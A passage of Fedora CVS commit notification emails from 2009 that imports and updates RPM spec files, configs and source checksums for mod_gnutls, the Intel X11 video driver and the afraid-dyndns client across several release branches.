* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-5
- removed use of define {ooo}

* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-4
- dependency generator missed need for httpd.  added by hand.
- abstracted Source0:

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-3
- mention of SRP removed from description of package
- added httpd-devel to build requires
- fixed license (harmonized with httpd)

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Added BuildRequires
- removed comments stating the specfile was generated by cpan2rpm
- added BuildRoot
- added install clean

* Fri Sep 11 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:52:41 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:11:17 -0000	1.2
@@ -0,0 +1 @@
+mod_gnutls-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:52:42 -0000	1.1
+++ sources	1 Oct 2009 21:11:17 -0000	1.2
@@ -0,0 +1 @@
+53aef6d0c295fc2b7d5d2ee4576e6884  mod_gnutls-0.5.5.tar.bz2



From ekkis at fedoraproject.org  Thu Oct  1 21:11:50 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:11:50 +0000 (UTC)
Subject: rpms/mod_gnutls/F-11 import.log, NONE, 1.1 mod_gnutls.conf, NONE,
	1.1 mod_gnutls.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001211150.6871D11C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/mod_gnutls/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18444/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mod_gnutls.conf mod_gnutls.spec 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>



--- NEW FILE import.log ---
mod_gnutls-0_5_5-5_fc11:F-11:mod_gnutls-0.5.5-5.fc11.src.rpm:1254431496


--- NEW FILE mod_gnutls.conf ---
LoadModule gnutls_module modules/mod_gnutls.so

GnuTLSCache dbm "/var/cache/mod_gnutls"
GnuTLSCacheTimeout 300


--- NEW FILE mod_gnutls.spec ---
Name:      mod_gnutls
Version:   0.5.5
Release:   5%{?dist}
Summary:   GnuTLS module for the Apache HTTP server
Group:     System Environment/Daemons
License:   ASL 2.0
URL:       http://www.outoforder.cc/projects/apache/mod_gnutls
Source0:   http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1:   mod_gnutls.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: gnutls-devel httpd-devel
Requires:  httpd

%description
mod_gnutls uses the GnuTLS library to provide SSL 3.0, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD.  It is similar to mod_ssl in purpose, but does
not use OpenSSL.  A primary benefit of using this module is the ability to
configure multiple SSL certificates for a single IP-address/port combination
(useful for securing virtual hosts).
    
Features
    * Support for SSL 3.0, TLS 1.0 and TLS 1.1.
    * Support for client certificates.
    * Support for RFC 5081 OpenPGP certificate authentication.
    * Support for Server Name Indication.
    * Distributed SSL Session Cache via Memcached
    * Local SSL Session Cache using DBM
    * Sets enviromental vars for scripts (compatible with mod_ssl vars)
    * Small and focused code base:
         Lines of code in mod_gnutls: 3,593
         Lines of code in mod_ssl: 15,324

%prep
%setup -q
cp %{SOURCE1} .

%build
%configure --disable-srp
%{__make} %{?_smp_mflags}

%check
%{__make} check

%install
rm -rf %{buildroot}
%{__install} -m 755 -D src/.libs/libmod_gnutls.so %{buildroot}%{_libdir}/httpd/modules/mod_gnutls.so
%{__install} -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{__install} -d -m 0700 %{buildroot}%{_localstatedir}/cache/mod_gnutls

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README NEWS NOTICE LICENSE README.ENV
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{_localstatedir}/cache/mod_gnutls

%changelog
* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-5
- removed use of define {ooo}

* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-4
- dependency generator missed need for httpd.  added by hand.
- abstracted Source0:

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-3
- mention of SRP removed from description of package
- added httpd-devel to build requires
- fixed license (harmonized with httpd)

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Added BuildRequires
- removed comments stating the specfile was generated by cpan2rpm
- added BuildRoot
- added install clean

* Fri Sep 11 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:52:41 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:11:50 -0000	1.2
@@ -0,0 +1 @@
+mod_gnutls-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:52:42 -0000	1.1
+++ sources	1 Oct 2009 21:11:50 -0000	1.2
@@ -0,0 +1 @@
+53aef6d0c295fc2b7d5d2ee4576e6884  mod_gnutls-0.5.5.tar.bz2



From ekkis at fedoraproject.org  Thu Oct  1 21:12:24 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:12:24 +0000 (UTC)
Subject: rpms/mod_gnutls/F-12 import.log, NONE, 1.1 mod_gnutls.conf, NONE,
	1.1 mod_gnutls.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001211224.E96AA11C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/mod_gnutls/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18675/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mod_gnutls.conf mod_gnutls.spec 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE import.log ---
mod_gnutls-0_5_5-5_fc11:F-12:mod_gnutls-0.5.5-5.fc11.src.rpm:1254431529


--- NEW FILE mod_gnutls.conf ---
LoadModule gnutls_module modules/mod_gnutls.so

GnuTLSCache dbm "/var/cache/mod_gnutls"
GnuTLSCacheTimeout 300


--- NEW FILE mod_gnutls.spec ---
Name:      mod_gnutls
Version:   0.5.5
Release:   5%{?dist}
Summary:   GnuTLS module for the Apache HTTP server
Group:     System Environment/Daemons
License:   ASL 2.0
URL:       http://www.outoforder.cc/projects/apache/mod_gnutls
Source0:   http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1:   mod_gnutls.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: gnutls-devel httpd-devel
Requires:  httpd

%description
mod_gnutls uses the GnuTLS library to provide SSL 3.0, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD.  It is similar to mod_ssl in purpose, but does
not use OpenSSL.  A primary benefit of using this module is the ability to
configure multiple SSL certificates for a single IP-address/port combination
(useful for securing virtual hosts).
    
Features
    * Support for SSL 3.0, TLS 1.0 and TLS 1.1.
    * Support for client certificates.
    * Support for RFC 5081 OpenPGP certificate authentication.
    * Support for Server Name Indication.
    * Distributed SSL Session Cache via Memcached
    * Local SSL Session Cache using DBM
    * Sets enviromental vars for scripts (compatible with mod_ssl vars)
    * Small and focused code base:
         Lines of code in mod_gnutls: 3,593
         Lines of code in mod_ssl: 15,324

%prep
%setup -q
cp %{SOURCE1} .

%build
%configure --disable-srp
%{__make} %{?_smp_mflags}

%check
%{__make} check

%install
rm -rf %{buildroot}
%{__install} -m 755 -D src/.libs/libmod_gnutls.so %{buildroot}%{_libdir}/httpd/modules/mod_gnutls.so
%{__install} -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{__install} -d -m 0700 %{buildroot}%{_localstatedir}/cache/mod_gnutls

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README NEWS NOTICE LICENSE README.ENV
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{_localstatedir}/cache/mod_gnutls

%changelog
* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-5
- removed use of define {ooo}

* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-4
- dependency generator missed need for httpd.  added by hand.
- abstracted Source0:

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-3
- mention of SRP removed from description of package
- added httpd-devel to build requires
- fixed license (harmonized with httpd)

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Added BuildRequires
- removed comments stating the specfile was generated by cpan2rpm
- added BuildRoot
- added install clean

* Fri Sep 11 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:52:41 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:12:24 -0000	1.2
@@ -0,0 +1 @@
+mod_gnutls-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:52:42 -0000	1.1
+++ sources	1 Oct 2009 21:12:24 -0000	1.2
@@ -0,0 +1 @@
+53aef6d0c295fc2b7d5d2ee4576e6884  mod_gnutls-0.5.5.tar.bz2



From ekkis at fedoraproject.org  Thu Oct  1 21:14:00 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:14:00 +0000 (UTC)
Subject: rpms/mod_gnutls/EL-5 import.log, NONE, 1.1 mod_gnutls.conf, NONE,
	1.1 mod_gnutls.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001211400.3F12E11C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/mod_gnutls/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19843/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mod_gnutls.conf mod_gnutls.spec 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE import.log ---
mod_gnutls-0_5_5-5_fc11:EL-5:mod_gnutls-0.5.5-5.fc11.src.rpm:1254431571


--- NEW FILE mod_gnutls.conf ---
LoadModule gnutls_module modules/mod_gnutls.so

GnuTLSCache dbm "/var/cache/mod_gnutls"
GnuTLSCacheTimeout 300


--- NEW FILE mod_gnutls.spec ---
Name:      mod_gnutls
Version:   0.5.5
Release:   5%{?dist}
Summary:   GnuTLS module for the Apache HTTP server
Group:     System Environment/Daemons
License:   ASL 2.0
URL:       http://www.outoforder.cc/projects/apache/mod_gnutls
Source0:   http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1:   mod_gnutls.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: gnutls-devel httpd-devel
Requires:  httpd

%description
mod_gnutls uses the GnuTLS library to provide SSL 3.0, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD.  It is similar to mod_ssl in purpose, but does
not use OpenSSL.  A primary benefit of using this module is the ability to
configure multiple SSL certificates for a single IP-address/port combination
(useful for securing virtual hosts).
    
Features
    * Support for SSL 3.0, TLS 1.0 and TLS 1.1.
    * Support for client certificates.
    * Support for RFC 5081 OpenPGP certificate authentication.
    * Support for Server Name Indication.
    * Distributed SSL Session Cache via Memcached
    * Local SSL Session Cache using DBM
    * Sets enviromental vars for scripts (compatible with mod_ssl vars)
    * Small and focused code base:
         Lines of code in mod_gnutls: 3,593
         Lines of code in mod_ssl: 15,324

%prep
%setup -q
cp %{SOURCE1} .

%build
%configure --disable-srp
%{__make} %{?_smp_mflags}

%check
%{__make} check

%install
rm -rf %{buildroot}
%{__install} -m 755 -D src/.libs/libmod_gnutls.so %{buildroot}%{_libdir}/httpd/modules/mod_gnutls.so
%{__install} -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{__install} -d -m 0700 %{buildroot}%{_localstatedir}/cache/mod_gnutls

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README NEWS NOTICE LICENSE README.ENV
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{_localstatedir}/cache/mod_gnutls

%changelog
* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-5
- removed use of define {ooo}

* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-4
- dependency generator missed need for httpd.  added by hand.
- abstracted Source0:

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-3
- mention of SRP removed from description of package
- added httpd-devel to build requires
- fixed license (harmonized with httpd)

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Added BuildRequires
- removed comments stating the specfile was generated by cpan2rpm
- added BuildRoot
- added install clean

* Fri Sep 11 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:52:41 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:14:00 -0000	1.2
@@ -0,0 +1 @@
+mod_gnutls-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:52:42 -0000	1.1
+++ sources	1 Oct 2009 21:14:00 -0000	1.2
@@ -0,0 +1 @@
+53aef6d0c295fc2b7d5d2ee4576e6884  mod_gnutls-0.5.5.tar.bz2



From krh at fedoraproject.org  Thu Oct  1 21:16:56 2009
From: krh at fedoraproject.org (=?utf-8?q?Kristian_H=C3=B8gsberg?=)
Date: Thu,  1 Oct 2009 21:16:56 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel .cvsignore, 1.10, 1.11 sources, 1.11, 
	1.12 xorg-x11-drv-intel.spec, 1.34, 1.35
Message-ID: <20091001211656.1B63E11C0261@cvs1.fedora.phx.redhat.com>

Author: krh

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20489

Modified Files:
	.cvsignore sources xorg-x11-drv-intel.spec 
Log Message:
* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
- Rebase to 2.9.0.
- Don't drop gpu tools from sources.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 21:09:48 -0000	1.10
+++ .cvsignore	1 Oct 2009 21:16:55 -0000	1.11
@@ -1 +1,2 @@
 xf86-video-intel-2.9.0.tar.bz2
+intel-gpu-tools-20090908.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	1 Oct 2009 21:09:48 -0000	1.11
+++ sources	1 Oct 2009 21:16:55 -0000	1.12
@@ -1 +1,2 @@
 34ff2582993d64dddd62d0cb7b30d759  xf86-video-intel-2.9.0.tar.bz2
+d64507d329cff1228f8a88ec2e9f58cb  intel-gpu-tools-20090908.tar.bz2


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/xorg-x11-drv-intel.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- xorg-x11-drv-intel.spec	1 Oct 2009 21:09:48 -0000	1.34
+++ xorg-x11-drv-intel.spec	1 Oct 2009 21:16:55 -0000	1.35
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
 Version:   2.9.0
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -137,8 +137,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
-* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
+* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
 - Rebase to 2.9.0.
+- Don't drop gpu tools from sources.
 
 * Thu Sep 24 2009 Dave Airlie <airlied at redhat.com> 2.8.0-16.20090909
 - Attempt to make -nr work again



From ekkis at fedoraproject.org  Thu Oct  1 21:21:32 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:21:32 +0000 (UTC)
Subject: rpms/afraid-dyndns/devel afraid-dyndns.spec, NONE, 1.1 import.log, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001212132.4ACEB11C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22107/devel

Modified Files:
	.cvsignore sources 
Added Files:
	afraid-dyndns.spec import.log 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build


--- NEW FILE import.log ---
afraid-dyndns-1_0-2_fc11:HEAD:afraid-dyndns-1.0-2.fc11.src.rpm:1254432078


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:49:25 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:21:31 -0000	1.2
@@ -0,0 +1 @@
+afraid-dyndns-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:49:26 -0000	1.1
+++ sources	1 Oct 2009 21:21:32 -0000	1.2
@@ -0,0 +1 @@
+b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz



From ekkis at fedoraproject.org  Thu Oct  1 21:22:05 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:22:05 +0000 (UTC)
Subject: rpms/afraid-dyndns/EL-5 afraid-dyndns.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001212205.81EB011C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22331/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	afraid-dyndns.spec import.log 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build


--- NEW FILE import.log ---
afraid-dyndns-1_0-2_fc11:EL-5:afraid-dyndns-1.0-2.fc11.src.rpm:1254432114


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:49:25 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:22:05 -0000	1.2
@@ -0,0 +1 @@
+afraid-dyndns-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:49:26 -0000	1.1
+++ sources	1 Oct 2009 21:22:05 -0000	1.2
@@ -0,0 +1 @@
+b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz



From ekkis at fedoraproject.org  Thu Oct  1 21:22:34 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:22:34 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-10 afraid-dyndns.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001212234.E27D911C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22537/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	afraid-dyndns.spec import.log 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build


--- NEW FILE import.log ---
afraid-dyndns-1_0-2_fc11:F-10:afraid-dyndns-1.0-2.fc11.src.rpm:1254432143


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:49:25 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:22:34 -0000	1.2
@@ -0,0 +1 @@
+afraid-dyndns-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:49:26 -0000	1.1
+++ sources	1 Oct 2009 21:22:34 -0000	1.2
@@ -0,0 +1 @@
+b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz



From ekkis at fedoraproject.org  Thu Oct  1 21:23:13 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:23:13 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-11 afraid-dyndns.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001212313.A1A9811C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22819/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	afraid-dyndns.spec import.log 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>




--- NEW FILE afraid-dyndns.spec ---
Name:      afraid-dyndns
Version:   1.0
Release:   2%{?dist}
Summary:   A dynamic DNS client for the free service afraid.org
Group:     System Environment/Daemons
License:   GPLv3+
URL:       http://perl.arix.com
Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch

%description
This utility implements a client for the free afraid.org dynamic DNS
service. A cron job is set up to check whether the external IP address
has changed, and when it does, connects to afraid.org and updates the
DNS entries of all the domains of the given account.

%prep
%setup -q

%build

%install
rm -rf %{buildroot}
%{__make} DESTDIR=%{buildroot} install

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README LICENSE
%{_bindir}/*
%config(noreplace) %{_sysconfdir}/afraid-dyndns.conf
%config(noreplace) %{_sysconfdir}/cron.d/afraid-dyndns
%dir %{_localstatedir}/cache/afraid-dyndns
%ghost %{_localstatedir}/cache/afraid-dyndns/IP

%changelog
* Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
- tarball extension changed

* Sat Sep 12 2009 Erick Calder <rpm at arix.com> - 1.0-1
- Initial build


--- NEW FILE import.log ---
afraid-dyndns-1_0-2_fc11:F-11:afraid-dyndns-1.0-2.fc11.src.rpm:1254432182


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:49:25 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:23:13 -0000	1.2
@@ -0,0 +1 @@
+afraid-dyndns-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:49:26 -0000	1.1
+++ sources	1 Oct 2009 21:23:13 -0000	1.2
@@ -0,0 +1 @@
+b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz



From ekkis at fedoraproject.org  Thu Oct  1 21:23:43 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:23:43 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-12 afraid-dyndns.spec, NONE, 1.1 import.log,
